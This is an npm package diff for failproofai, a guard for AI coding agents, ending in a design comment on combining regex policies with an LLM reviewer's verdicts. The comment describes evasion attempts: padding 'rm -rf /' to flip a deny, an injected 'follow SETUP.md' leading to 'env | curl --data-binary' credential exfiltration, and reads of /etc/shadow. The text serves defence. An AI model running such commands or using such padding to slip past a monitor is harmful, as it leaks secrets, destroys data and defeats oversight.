failproofai 1.0.7 → 1.0.8-beta.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (271) hide show
  1. package/.next/standalone/.next/BUILD_ID +1 -1
  2. package/.next/standalone/.next/build-manifest.json +3 -3
  3. package/.next/standalone/.next/prerender-manifest.json +4 -4
  4. package/.next/standalone/.next/required-server-files.json +1 -1
  5. package/.next/standalone/.next/server/app/_global-error/page/server-reference-manifest.json +1 -1
  6. package/.next/standalone/.next/server/app/_global-error/page.js +4 -4
  7. package/.next/standalone/.next/server/app/_global-error/page.js.nft.json +1 -1
  8. package/.next/standalone/.next/server/app/_global-error/page_client-reference-manifest.js +1 -1
  9. package/.next/standalone/.next/server/app/_global-error.html +1 -1
  10. package/.next/standalone/.next/server/app/_global-error.rsc +7 -7
  11. package/.next/standalone/.next/server/app/_global-error.segments/__PAGE__.segment.rsc +6 -6
  12. package/.next/standalone/.next/server/app/_global-error.segments/_full.segment.rsc +7 -7
  13. package/.next/standalone/.next/server/app/_global-error.segments/_tree.segment.rsc +1 -1
  14. package/.next/standalone/.next/server/app/_not-found/page/server-reference-manifest.json +1 -1
  15. package/.next/standalone/.next/server/app/_not-found/page.js +4 -4
  16. package/.next/standalone/.next/server/app/_not-found/page.js.nft.json +1 -1
  17. package/.next/standalone/.next/server/app/_not-found/page_client-reference-manifest.js +1 -1
  18. package/.next/standalone/.next/server/app/_not-found.html +1 -1
  19. package/.next/standalone/.next/server/app/_not-found.rsc +15 -15
  20. package/.next/standalone/.next/server/app/_not-found.segments/_full.segment.rsc +15 -15
  21. package/.next/standalone/.next/server/app/_not-found.segments/_not-found/__PAGE__.segment.rsc +14 -14
  22. package/.next/standalone/.next/server/app/_not-found.segments/_tree.segment.rsc +2 -2
  23. package/.next/standalone/.next/server/app/api/audit/invite/route.js.nft.json +1 -1
  24. package/.next/standalone/.next/server/app/api/audit/run/route.js +8 -7
  25. package/.next/standalone/.next/server/app/api/audit/run/route.js.nft.json +1 -1
  26. package/.next/standalone/.next/server/app/api/audit/status/route.js.nft.json +1 -1
  27. package/.next/standalone/.next/server/app/api/auth/login-request/route.js.nft.json +1 -1
  28. package/.next/standalone/.next/server/app/api/auth/login-verify/route.js.nft.json +1 -1
  29. package/.next/standalone/.next/server/app/api/auth/logout/route.js.nft.json +1 -1
  30. package/.next/standalone/.next/server/app/api/auth/status/route.js.nft.json +1 -1
  31. package/.next/standalone/.next/server/app/api/download/[project]/[session]/route.js.nft.json +1 -1
  32. package/.next/standalone/.next/server/app/audit/page/server-reference-manifest.json +2 -2
  33. package/.next/standalone/.next/server/app/audit/page.js +9 -7
  34. package/.next/standalone/.next/server/app/audit/page.js.nft.json +1 -1
  35. package/.next/standalone/.next/server/app/audit/page_client-reference-manifest.js +1 -1
  36. package/.next/standalone/.next/server/app/index.html +1 -1
  37. package/.next/standalone/.next/server/app/index.rsc +15 -15
  38. package/.next/standalone/.next/server/app/index.segments/__PAGE__.segment.rsc +14 -14
  39. package/.next/standalone/.next/server/app/index.segments/_full.segment.rsc +15 -15
  40. package/.next/standalone/.next/server/app/index.segments/_tree.segment.rsc +2 -2
  41. package/.next/standalone/.next/server/app/page/server-reference-manifest.json +1 -1
  42. package/.next/standalone/.next/server/app/page.js +6 -6
  43. package/.next/standalone/.next/server/app/page.js.nft.json +1 -1
  44. package/.next/standalone/.next/server/app/page_client-reference-manifest.js +1 -1
  45. package/.next/standalone/.next/server/app/policies/page/server-reference-manifest.json +14 -14
  46. package/.next/standalone/.next/server/app/policies/page.js +11 -10
  47. package/.next/standalone/.next/server/app/policies/page.js.nft.json +1 -1
  48. package/.next/standalone/.next/server/app/policies/page_client-reference-manifest.js +1 -1
  49. package/.next/standalone/.next/server/app/project/[name]/page/server-reference-manifest.json +1 -1
  50. package/.next/standalone/.next/server/app/project/[name]/page.js +8 -7
  51. package/.next/standalone/.next/server/app/project/[name]/page.js.nft.json +1 -1
  52. package/.next/standalone/.next/server/app/project/[name]/page_client-reference-manifest.js +1 -1
  53. package/.next/standalone/.next/server/app/project/[name]/session/[sessionId]/page/react-loadable-manifest.json +2 -2
  54. package/.next/standalone/.next/server/app/project/[name]/session/[sessionId]/page/server-reference-manifest.json +2 -2
  55. package/.next/standalone/.next/server/app/project/[name]/session/[sessionId]/page.js +6 -6
  56. package/.next/standalone/.next/server/app/project/[name]/session/[sessionId]/page.js.nft.json +1 -1
  57. package/.next/standalone/.next/server/app/project/[name]/session/[sessionId]/page_client-reference-manifest.js +1 -1
  58. package/.next/standalone/.next/server/app/projects/page/server-reference-manifest.json +1 -1
  59. package/.next/standalone/.next/server/app/projects/page.js +7 -6
  60. package/.next/standalone/.next/server/app/projects/page.js.nft.json +1 -1
  61. package/.next/standalone/.next/server/app/projects/page_client-reference-manifest.js +1 -1
  62. package/.next/standalone/.next/server/app/settings/page/server-reference-manifest.json +52 -8
  63. package/.next/standalone/.next/server/app/settings/page.js +12 -7
  64. package/.next/standalone/.next/server/app/settings/page.js.nft.json +1 -1
  65. package/.next/standalone/.next/server/app/settings/page_client-reference-manifest.js +1 -1
  66. package/.next/standalone/.next/server/chunks/{[externals]__1msfs-h._.js → [externals]__19_pzeq._.js} +1 -1
  67. package/.next/standalone/.next/server/chunks/{[externals]__1_bftcl._.js → [externals]__20kzpkf._.js} +1 -1
  68. package/.next/standalone/.next/server/chunks/[root-of-the-server]__0o07qi9._.js +1 -1
  69. package/.next/standalone/.next/server/chunks/[root-of-the-server]__1ttrwnd._.js +22 -0
  70. package/.next/standalone/.next/server/chunks/_09dz7xv._.js +21 -21
  71. package/.next/standalone/.next/server/chunks/_0tovk6q._.js +1 -1
  72. package/.next/standalone/.next/server/chunks/_0trp3yc._.js +1 -1
  73. package/.next/standalone/.next/server/chunks/_1ek68ln._.js +16 -16
  74. package/.next/standalone/.next/server/chunks/{_1c3k-8x._.js → _1q5i8mb._.js} +2 -2
  75. package/.next/standalone/.next/server/chunks/lib_16xa545._.js +3 -0
  76. package/.next/standalone/.next/server/chunks/package_json_[json]_cjs_1nxcc4v._.js +1 -1
  77. package/.next/standalone/.next/server/chunks/src_hooks_1aveq0u._.js +5 -0
  78. package/.next/standalone/.next/server/chunks/src_hooks_1eem5a7._.js +3 -0
  79. package/.next/standalone/.next/server/chunks/src_hooks_custom-hooks-loader_ts_0lnb3n3._.js +4 -2
  80. package/.next/standalone/.next/server/chunks/ssr/[externals]__0ohnuzs._.js +3 -0
  81. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__01bmjsj._.js +3 -0
  82. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__04usis8._.js +4 -0
  83. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__056wjo4._.js +4 -0
  84. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__059yza8._.js +3 -0
  85. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__06pflha._.js +3 -0
  86. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0eip4_k._.js +22 -0
  87. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0n0xg95._.js +4 -0
  88. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0qcb0mg._.js +3 -0
  89. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0rwtwpm._.js +4 -0
  90. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0yrsbd_._.js +3 -0
  91. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__11mayhe._.js +4 -0
  92. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__12e7nhs._.js +3 -0
  93. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__13d-wb6._.js +3 -0
  94. package/.next/standalone/.next/server/chunks/ssr/{[root-of-the-server]__0bd3mje._.js → [root-of-the-server]__14o3ek1._.js} +2 -2
  95. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__15578wp._.js +4 -0
  96. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__19evfi8._.js +3 -0
  97. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__1dinjii._.js +3 -0
  98. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__1m_svbe._.js +4 -0
  99. package/.next/standalone/.next/server/chunks/ssr/{[root-of-the-server]__0cxe_2_._.js → [root-of-the-server]__1mf3zp6._.js} +3 -3
  100. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__1pprgri._.js +4 -0
  101. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__1q4p5b8._.js +4 -0
  102. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__1qiz0e4._.js +3 -0
  103. package/.next/standalone/.next/server/chunks/ssr/_042cgl1._.js +3 -0
  104. package/.next/standalone/.next/server/chunks/ssr/_08x1r5t._.js +1 -1
  105. package/.next/standalone/.next/server/chunks/ssr/_0bqoto4._.js +3 -0
  106. package/.next/standalone/.next/server/chunks/ssr/{_166t73i._.js → _0o4xkpl._.js} +1 -1
  107. package/.next/standalone/.next/server/chunks/ssr/_0uyu3jf._.js +3 -0
  108. package/.next/standalone/.next/server/chunks/ssr/{_1-i_gzc._.js → _1-7sqrb._.js} +2 -2
  109. package/.next/standalone/.next/server/chunks/ssr/{_1es2j7i._.js → _1gb0ifp._.js} +5 -5
  110. package/.next/standalone/.next/server/chunks/ssr/{_1_qswah._.js → _1q46vxx._.js} +2 -2
  111. package/.next/standalone/.next/server/chunks/ssr/_1zopuov._.js +1 -1
  112. package/.next/standalone/.next/server/chunks/ssr/_next-internal_server_app_policies_page_actions_1sp2-yo.js +13 -13
  113. package/.next/standalone/.next/server/chunks/ssr/app_actions_get-scheduled-audit_ts_0ei9sni._.js +3 -0
  114. package/.next/standalone/.next/server/chunks/ssr/app_audit__components_audit-dashboard_tsx_0p9ud47._.js +1 -1
  115. package/.next/standalone/.next/server/chunks/ssr/app_global-error_tsx_1kp6l3x._.js +1 -1
  116. package/.next/standalone/.next/server/chunks/ssr/app_policies_hooks-client_tsx_19dqvpc._.js +2 -2
  117. package/.next/standalone/.next/server/chunks/ssr/app_settings_02tf1h4._.js +3 -0
  118. package/.next/standalone/.next/server/chunks/ssr/node_modules_next_0aiy-os._.js +1 -1
  119. package/.next/standalone/.next/server/chunks/ssr/{node_modules_next_dist_0drixxt._.js → node_modules_next_dist_0w6mzq5._.js} +4 -4
  120. package/.next/standalone/.next/server/chunks/ssr/node_modules_next_dist_18_d8l1._.js +151 -0
  121. package/.next/standalone/.next/server/chunks/ssr/src_hooks_0-q0umm._.js +3 -0
  122. package/.next/standalone/.next/server/chunks/ssr/src_hooks_06kzv9d._.js +12 -0
  123. package/.next/standalone/.next/server/chunks/ssr/src_hooks_0g194sy._.js +3 -0
  124. package/.next/standalone/.next/server/chunks/ssr/src_hooks_1cv9_c4._.js +4 -2
  125. package/.next/standalone/.next/server/chunks/ssr/src_hooks_1kx9e0d._.js +3 -0
  126. package/.next/standalone/.next/server/chunks/ssr/src_hooks_effective-reviewers_ts_1h4wtvo._.js +5 -0
  127. package/.next/standalone/.next/server/chunks/ssr/src_hooks_fp-config_ts_04t589g._.js +1 -1
  128. package/.next/standalone/.next/server/chunks/ssr/src_hooks_fp-home_ts_0je3xkv._.js +1 -1
  129. package/.next/standalone/.next/server/chunks/ssr/src_hooks_pack-cli_ts_0t7me65._.js +1 -1
  130. package/.next/standalone/.next/server/chunks/ssr/src_hooks_semantic_pack-policies_ts_0gh_bu_._.js +3 -0
  131. package/.next/standalone/.next/server/middleware-build-manifest.js +3 -3
  132. package/.next/standalone/.next/server/pages/404.html +1 -1
  133. package/.next/standalone/.next/server/pages/500.html +1 -1
  134. package/.next/standalone/.next/server/server-reference-manifest.js +1 -1
  135. package/.next/standalone/.next/server/server-reference-manifest.json +67 -23
  136. package/.next/standalone/.next/static/chunks/078gnymqoh3r4.js +1 -0
  137. package/.next/standalone/.next/static/chunks/{2mdh397ghgnvv.js → 0ahfwmbkpgfw4.js} +1 -1
  138. package/.next/standalone/.next/static/chunks/0bhidk90e-07f.css +2 -0
  139. package/.next/standalone/.next/static/chunks/1bu2-nv59ed6i.js +1 -0
  140. package/.next/standalone/.next/static/chunks/{0o6qlkgubtoex.js → 1v_tp3hm8wyhe.js} +1 -1
  141. package/.next/standalone/.next/static/chunks/2a405_e1o26ol.js +1 -0
  142. package/.next/standalone/.next/static/chunks/2qv4hshejedtx.css +1 -0
  143. package/.next/standalone/.next/static/chunks/2vo7qbdbvnc0o.js +69 -0
  144. package/.next/standalone/.next/static/chunks/{13i7-9is-vhys.js → 2z7i-yg59w4pn.js} +1 -1
  145. package/.next/standalone/.next/static/chunks/36uhh9el_oz8e.js +1 -0
  146. package/.next/standalone/.next/static/chunks/{0__8a7m868fvf.js → 3bgot5v6f6s3c.js} +1 -1
  147. package/.next/standalone/.next/static/chunks/3o3f1ibfci0p7.js +6 -0
  148. package/.next/standalone/PROBE-FOLLOWUP.md +186 -0
  149. package/.next/standalone/app/actions/get-jev-config.ts +604 -0
  150. package/.next/standalone/app/actions/pack-actions.ts +12 -0
  151. package/.next/standalone/app/actions/update-jev-config.ts +569 -0
  152. package/.next/standalone/app/components/jev-notices.tsx +96 -0
  153. package/.next/standalone/app/policies/hooks-client.tsx +14 -3
  154. package/.next/standalone/app/settings/jev-panel.tsx +630 -0
  155. package/.next/standalone/app/settings/page.tsx +20 -1
  156. package/.next/standalone/app/settings/settings-client.tsx +27 -1
  157. package/.next/standalone/app/settings/settings.css +79 -0
  158. package/.next/standalone/fp-cloud-cli/CHANGELOG.md +22 -4
  159. package/.next/standalone/fp-cloud-cli/fp_cli/client.py +14 -1
  160. package/.next/standalone/fp-cloud-cli/fp_cli/commands/keys_cmds.py +17 -3
  161. package/.next/standalone/fp-cloud-cli/fp_cli/commands/policies_cmds.py +3 -0
  162. package/.next/standalone/fp-cloud-cli/fp_cli/permissions.py +22 -0
  163. package/.next/standalone/fp-cloud-cli/fp_cli/policy_check.py +169 -0
  164. package/.next/standalone/fp-cloud-cli/skill/references/commands.md +1 -1
  165. package/.next/standalone/fp-cloud-cli/tests/test_keys_queries.py +65 -0
  166. package/.next/standalone/fp-cloud-cli/tests/test_policy_check.py +61 -0
  167. package/.next/standalone/package.json +10 -10
  168. package/.next/standalone/sdk/python/CHANGELOG.md +7 -0
  169. package/.next/standalone/sdk/python/failproofai_sdk/_version.py +1 -1
  170. package/.next/standalone/sdk/typescript/scripts/release.mjs +30 -0
  171. package/.next/standalone/server.js +1 -1
  172. package/README.md +3 -2
  173. package/bin/failproofai.mjs +148 -4
  174. package/dist/cli.mjs +18537 -9492
  175. package/dist/index.js +19 -1
  176. package/dist/worker.mjs +10421 -3770
  177. package/package.json +10 -10
  178. package/pi-extension/index.ts +11 -0
  179. package/scripts/build-policy-pack.mjs +53 -2
  180. package/src/audit/features.ts +3 -2
  181. package/src/hooks/builtin-policies.ts +195 -8
  182. package/src/hooks/cloud-connection.ts +190 -1
  183. package/src/hooks/cloud-enrollment-cli.ts +57 -8
  184. package/src/hooks/cloud-introspect.ts +6 -0
  185. package/src/hooks/cloud-managed-policies.ts +22 -0
  186. package/src/hooks/configure-wizard.ts +26 -6
  187. package/src/hooks/custom-hooks-loader.ts +98 -10
  188. package/src/hooks/custom-hooks-registry.ts +45 -1
  189. package/src/hooks/effective-reviewers.ts +243 -0
  190. package/src/hooks/first-run-gate.ts +5 -0
  191. package/src/hooks/flush-cli.ts +35 -8
  192. package/src/hooks/fp-config.ts +266 -1
  193. package/src/hooks/fp-home.ts +23 -0
  194. package/src/hooks/fp-reset.ts +22 -4
  195. package/src/hooks/handler.ts +303 -7
  196. package/src/hooks/hook-activity-store.ts +118 -6
  197. package/src/hooks/hook-telemetry.ts +41 -0
  198. package/src/hooks/jev-activity.ts +385 -0
  199. package/src/hooks/jev-cli.ts +2172 -0
  200. package/src/hooks/jev-cloud-connection.ts +392 -0
  201. package/src/hooks/loader-utils.ts +6 -0
  202. package/src/hooks/manager.ts +45 -7
  203. package/src/hooks/pack-cli.ts +568 -37
  204. package/src/hooks/pack-failclosed.ts +3 -0
  205. package/src/hooks/pack-manifest.ts +489 -7
  206. package/src/hooks/pack-store.ts +194 -11
  207. package/src/hooks/policy-authority.ts +386 -0
  208. package/src/hooks/policy-catalog.ts +206 -0
  209. package/src/hooks/policy-evaluator.ts +963 -796
  210. package/src/hooks/policy-registry.ts +27 -1
  211. package/src/hooks/policy-reviewability.ts +258 -0
  212. package/src/hooks/policy-types.ts +128 -0
  213. package/src/hooks/semantic/combine.ts +581 -0
  214. package/src/hooks/semantic/compile.ts +176 -0
  215. package/src/hooks/semantic/decide.ts +408 -0
  216. package/src/hooks/semantic/envelope.ts +1255 -0
  217. package/src/hooks/semantic/evaluator.ts +556 -0
  218. package/src/hooks/semantic/facts.ts +298 -0
  219. package/src/hooks/semantic/intent.ts +1190 -0
  220. package/src/hooks/semantic/jev-client.ts +1155 -0
  221. package/src/hooks/semantic/jev-config.ts +1142 -0
  222. package/src/hooks/semantic/jev-review.ts +389 -0
  223. package/src/hooks/semantic/jev-stats.ts +289 -0
  224. package/src/hooks/semantic/jev-throttle.ts +427 -0
  225. package/src/hooks/semantic/pack-policies.ts +294 -0
  226. package/src/hooks/semantic/policies.ts +597 -0
  227. package/src/hooks/semantic/precondition-names.ts +60 -0
  228. package/src/hooks/semantic/preconditions.ts +58 -0
  229. package/src/hooks/semantic/redact.ts +2937 -0
  230. package/src/hooks/semantic/session-root.ts +116 -0
  231. package/src/hooks/semantic/types.ts +156 -0
  232. package/src/hooks/semver-precedence.ts +128 -0
  233. package/src/hooks/tui.ts +4 -0
  234. package/src/hooks/types.ts +1 -1
  235. package/src/hooks/worker-server.ts +121 -27
  236. package/src/index.ts +6 -0
  237. package/.next/standalone/.next/server/chunks/[root-of-the-server]__0cuho4x._.js +0 -3
  238. package/.next/standalone/.next/server/chunks/[root-of-the-server]__1_r2rbg._.js +0 -24
  239. package/.next/standalone/.next/server/chunks/src_hooks_0iu54mz._.js +0 -3
  240. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0-_ki57._.js +0 -4
  241. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__013jr2b._.js +0 -4
  242. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__01wy8d-._.js +0 -4
  243. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__02npjtd._.js +0 -4
  244. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0cg-bgc._.js +0 -5
  245. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0cpu_mj._.js +0 -3
  246. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0da85px._.js +0 -4
  247. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0ftmoxc._.js +0 -4
  248. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0p-5p8u._.js +0 -4
  249. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0u3w0ll._.js +0 -22
  250. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__17d_ffl._.js +0 -3
  251. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__19d9tgz._.js +0 -5
  252. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__1ctpynv._.js +0 -3
  253. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__1jiwfsj._.js +0 -3
  254. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__1p2otjt._.js +0 -4
  255. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__1phc187._.js +0 -3
  256. package/.next/standalone/.next/server/chunks/ssr/_06imw3p._.js +0 -5
  257. package/.next/standalone/.next/server/chunks/ssr/_0h_douw._.js +0 -3
  258. package/.next/standalone/.next/server/chunks/ssr/_1u8-lu2._.js +0 -3
  259. package/.next/standalone/.next/server/chunks/ssr/app_settings_settings-client_tsx_20lq-mq._.js +0 -3
  260. package/.next/standalone/.next/server/chunks/ssr/src_hooks_builtin-policies_ts_09j2ndl._.js +0 -3
  261. package/.next/standalone/.next/static/chunks/094xgi4owxaqf.js +0 -1
  262. package/.next/standalone/.next/static/chunks/1rz20_pz828f3.js +0 -6
  263. package/.next/standalone/.next/static/chunks/2k9f4tyv04809.css +0 -1
  264. package/.next/standalone/.next/static/chunks/2klitrtzpaoe0.js +0 -1
  265. package/.next/standalone/.next/static/chunks/2rshywgeqsyzk.css +0 -2
  266. package/.next/standalone/.next/static/chunks/3pzx4chkhko9k.js +0 -1
  267. package/.next/standalone/.next/static/chunks/3rh5o7e16irrm.js +0 -69
  268. package/.next/standalone/.next/static/chunks/43ufqrz8qo3h-.js +0 -1
  269. /package/.next/standalone/.next/static/{PgeWCHmyVbjRznv2VO7KF → O_b5R1axf5cb4NxIXq2kS}/_buildManifest.js +0 -0
  270. /package/.next/standalone/.next/static/{PgeWCHmyVbjRznv2VO7KF → O_b5R1axf5cb4NxIXq2kS}/_clientMiddlewareManifest.js +0 -0
  271. /package/.next/standalone/.next/static/{PgeWCHmyVbjRznv2VO7KF → O_b5R1axf5cb4NxIXq2kS}/_ssgManifest.js +0 -0
@@ -0,0 +1,581 @@
1
+ /**
2
+ * The two-tier combine rules: regex policy verdicts + Jev's review → one
3
+ * final verdict, plus what to record about how it was reached.
4
+ *
5
+ * Pure and synchronous, importing only types and one constant from the equally
6
+ * pure `jev-activity.ts`, so it can sit on the hook path (`policy-evaluator.ts`
7
+ * imports it) without pulling the semantic evaluator into the bundle, and so
8
+ * every row of the table below is testable offline.
9
+ *
10
+ * | Situation | Result |
11
+ * |-----------------------------------------------|-------------------------------------------------------------|
12
+ * | not configured / FAILPROOFAI_EVALUATOR=legacy | `regexOnly` — never reaches this module's `combineTwoTier` |
13
+ * | any HARD deny | the regex result (Jev was aborted, so nothing is cleared) |
14
+ * | Jev degraded — transport, timeout, 429, 402, | the regex result, every deny counts; recorded `jev-fallback`|
15
+ * | 5xx, malformed, model mismatch | |
16
+ * | Jev answered, but part of the CALL was cut | nothing is cleared, so every regex deny counts; Jev's own |
17
+ * | | verdict still joins the most-severe rule; recorded |
18
+ * | | `jev-fallback` / `request-cut`, with its decision |
19
+ * | Jev answered, but a MESSAGE was cut — a human | exactly the row below: the clears stand, and it is NOT |
20
+ * | turn, the agent's last message, or a prompt | recorded as a fallback |
21
+ * | the intent store had already capped | |
22
+ * | Jev answered | reviewable denies/instructs Jev covered are cleared; final =|
23
+ * | | the most severe of {remaining regex results, Jev's verdict} |
24
+ *
25
+ * `shadow` mode computes and records all of it, and still returns the regex
26
+ * result.
27
+ *
28
+ * ## Where this departs from plan §4
29
+ *
30
+ * §4's combine table files BOTH cuts under one row — "Jev degraded (timeout,
31
+ * 429, HTTP/parse error, model-version mismatch) **or the envelope was
32
+ * truncated** → today's regex result (every deny counts); record
33
+ * `evaluator: "jev-fallback"` plus the reason". The two rows above are that
34
+ * row as shipped, and if you arrived from §4 these are the two differences,
35
+ * stated once so nothing below is a surprise:
36
+ *
37
+ * 1. **A cut MESSAGE is not a fallback at all.** Nothing about the CALL was
38
+ * missing and nothing was withheld, so the clears stand and the row is
39
+ * recorded `jev`. Filing it as a fallback made the length of the human's
40
+ * own paste decide the verdict — the same call came out `allow` after a
41
+ * 77-character prompt and `deny` after a 3,000-character one — and inflated
42
+ * the fallback rate with calls Jev answered in full. "What a cut MESSAGE
43
+ * does: nothing", below, is the argument at length.
44
+ * 2. **A cut CALL is a fallback, but not "exactly the regex result".** It
45
+ * clears nothing, so every regex deny counts, which is the half of §4 that
46
+ * protects anything. What it does NOT do is throw Jev's own answer away:
47
+ * that answer still joins the most-severe merge, upward only. Reading §4 as
48
+ * "discard the verdict" made padding a command past the envelope's cap a
49
+ * working way to stop Jev's OWN deny applying (a real repro: `rm -rf /
50
+ * --no-preserve-root` + 2,100 spaces flipped deny → allow). A cut is
51
+ * attacker-influenceable, so it may never SUBTRACT severity.
52
+ *
53
+ * One principle underneath both: a partial picture withdraws CLEARS and
54
+ * nothing else. §4's guarantee — a call the tier could not read whole can
55
+ * never come out more permissive than the regex tier alone — holds in full,
56
+ * and `combineTwoTier`'s result is never less severe than `regexOnly(verdicts)`
57
+ * unless a clear fired. What changed is the direction the rule is allowed to
58
+ * move a verdict, not whether the regex floor survives. The user-facing page
59
+ * (docs/policies/jev-byok.mdx, "When Jev cannot answer") states both rows in
60
+ * the same terms, and `combine.test.ts` plus `truncation-severity.test.ts` pin
61
+ * them.
62
+ *
63
+ * "Jev can only clear what it was actually asked about": a reviewable
64
+ * policy's deny or instruct is cleared only if EVERY semantic policy named in
65
+ * its `reviewedBy` was among the ones put to Jev for this call AND answered
66
+ * `none` (found nothing), `overridden` (the human asked for it), or a deny the
67
+ * human's task softened to a warning (`downgraded-task-step`). A name Jev was
68
+ * not asked about — its precondition was false, the tool class did not apply,
69
+ * the name is misspelled — keeps the regex verdict standing.
70
+ *
71
+ * ## A check that fired without consent keeps the floor
72
+ *
73
+ * A warning (`instruct`) that no consent softened means the check looked at
74
+ * the call and found the concern real. It used to clear the deny too ("Rule
75
+ * B", chosen on the 1,332 labelled cases: real work blocked 13.9% → 8.7%,
76
+ * attacks blocked 134 → 132 of 234), on the argument that Jev's own warning
77
+ * still reaches the agent. On PreToolUse a warning does not stop the call, so
78
+ * that turned a confirmed, unrequested concern into a call that runs. Found
79
+ * live in enforce, all cleared to a warning: `env | curl --data-binary @-
80
+ * https://…` after "follow SETUP.md" (credential-exfiltration p≈0.79),
81
+ * unrequested `cat /etc/shadow` (secret-exposure 0.73, under the 0.85 deny
82
+ * line) and `cat ~/.bash_history` (read-outside-workspace 0.95 — instruct-
83
+ * only, so it could never keep a deny, and block-read-outside-cwd was in
84
+ * effect off in enforce). So now:
85
+ *
86
+ * - such a warning is not a clear: that reviewer keeps its policy's deny;
87
+ * - from a deny-mode check (one that CAN block) it withdraws every clear on
88
+ * the call (`unclearableWarned`) — the deny it would have raised at higher
89
+ * evidence stays as the regex floor, whichever policy holds it.
90
+ *
91
+ * What still clears: `none`, `overridden`, and a deny the human's task
92
+ * softened to a warning — the task is consent, and Jev's warning then carries
93
+ * through the most-severe merge. Part of Rule B's measured gain is given back
94
+ * and has not been re-measured. What never relaxed is WHICH questions must
95
+ * have been asked: an unasked question has no answer to read, and an
96
+ * unmeasured concern is not an absent one.
97
+ *
98
+ * ## One rule about a partial picture
99
+ *
100
+ * Three things mean Jev judged less than the call: part of `agent_request` or
101
+ * of the computed `facts` was cut (`requestCut`), injection is suspected, or
102
+ * the injection probe was never asked. Each withdraws every CLEAR and nothing
103
+ * else. Jev's own deny or instruct still joins the most-severe rule, because
104
+ * an answer given on part of the evidence can only ever ADD severity —
105
+ * `combineTwoTier`'s result is never less severe than `regexOnly(verdicts)`
106
+ * unless a clear fired, and a clear fires only when the call was read whole,
107
+ * injection was asked about, and the answer was no.
108
+ *
109
+ * That is what makes padding useless AGAINST THE CALL'S OWN TEXT. Five review
110
+ * rounds tried to prevent the hiding instead — a head-and-tail window, a token
111
+ * skeleton, per-field caps — and each time the next spelling walked through
112
+ * it, because a bounded projection of an unbounded string always drops
113
+ * SOMETHING and the attacker picks what. So this rule does not try: dropping a
114
+ * byte of `agent_request` requires a cut, every such cut sets `requestCut`
115
+ * (`envelope.ts`), and a call with `requestCut` can clear nothing. Spending the
116
+ * budget can cost a call its clears; it can never buy one.
117
+ *
118
+ * The same sentence is NOT true of the derived `facts`, and saying so is
119
+ * better than asserting a property the code does not have. `facts` are
120
+ * computed from the first `MAX_SCAN_CHARS` characters of a command and from a
121
+ * capped number of paths (`facts.ts`), and neither bound sets a flag. What a
122
+ * long enough command can therefore cost is a QUESTION — `selectPolicies` may
123
+ * not pick a probe whose precondition reads those facts — not a clear on
124
+ * evidence Jev never saw: the command text itself is carried whole and judged.
125
+ * Flagging it from here was measured and rejected (it charges an ordinary
126
+ * 20,000-character heredoc, and `prettier --write` over thirteen files, their
127
+ * clears); the narrow fix is for `facts.ts` to report that it stopped and for
128
+ * `policies.ts` to read incomplete evidence as a reason to ASK MORE. Until
129
+ * that lands, this paragraph — not the one above it — is what holds. See
130
+ * `envelope.ts`'s header for the same statement at the source.
131
+ *
132
+ * ## What size may NOT do
133
+ *
134
+ * A previous revision went one step further and DENIED a call whose own text
135
+ * had been cut — `semantic/request-too-large-to-review`, telling the agent to
136
+ * split it up. That is gone, and it is worth saying why, because the argument
137
+ * for it was not silly: in the case this tier exists for, the regex tier has
138
+ * no rule, so its floor is `allow`, and withdrawing clears protects nothing.
139
+ *
140
+ * It was still wrong. The refusal was a deny this product invented, on work no
141
+ * policy objected to, at a threshold ordinary calls reach — a ~1,400-line
142
+ * `Write`, a large MCP body, a long generated migration. The whole reason this
143
+ * tier exists is that regex policies block a third of real work; a new
144
+ * refusal of our own, firing on size rather than on behaviour, spends the
145
+ * benefit it was built to deliver. And it is not even the strongest available
146
+ * answer: Jev is still ASKED, with whatever fitted, and a cut call that is
147
+ * actually dangerous is denied on Jev's own verdict, with a reason that names
148
+ * what is wrong with it rather than how long it is.
149
+ *
150
+ * So: size can only ever make a call stricter through Jev's own verdict or
151
+ * through a regex policy, never through a refusal here. What it costs is the
152
+ * clears.
153
+ *
154
+ * ## What a cut MESSAGE does: nothing
155
+ *
156
+ * `truncated` — a human turn, an agent message or a store-capped prompt that
157
+ * did not fit — is recorded and read no further. It used to withdraw clears
158
+ * too, and that made the length of the human's own prompt decide the verdict:
159
+ * the same call came out `allow` after a 77-character prompt and `deny` after
160
+ * a 3,000-character one, because the clearing half of the tier switched off.
161
